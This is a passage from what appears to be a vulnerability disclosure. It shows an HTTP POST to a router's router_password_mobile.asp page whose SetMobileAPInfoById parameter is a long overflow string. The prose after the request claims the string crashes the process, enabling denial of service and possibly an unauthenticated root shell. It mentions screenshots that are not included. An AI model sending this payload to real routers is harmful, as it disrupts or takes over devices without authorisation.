    Referer: https://121.226.152.63:8443/router_password_mobile.asp
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 536
    Origin: https://192.168.0.124:80
    DNT: 1
    Connection: close
    Cookie: LOGIN_PSD_REM_FLAG=0; PSWMOBILEFLAG=true
    Upgrade-Insecure-Requests: 1
    Sec-Fetch-Dest: document
    Sec-Fetch-Mode: navigate
    Sec-Fetch-Site: same-origin
    Sec-Fetch-User: ?1
    
    CMD=SetMobileAPInfoById&param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;
    

The picture above shows the process information before we send poc.

In the picture above, we can see that the PID has changed since we sent the POC.

The picture above is the log information.

By calculating offsets, we can compile special data to refer to denial-of-service attacks(DOS).

Finally, you also can write exp to get a stable root shell without authorization.

Tag

#windows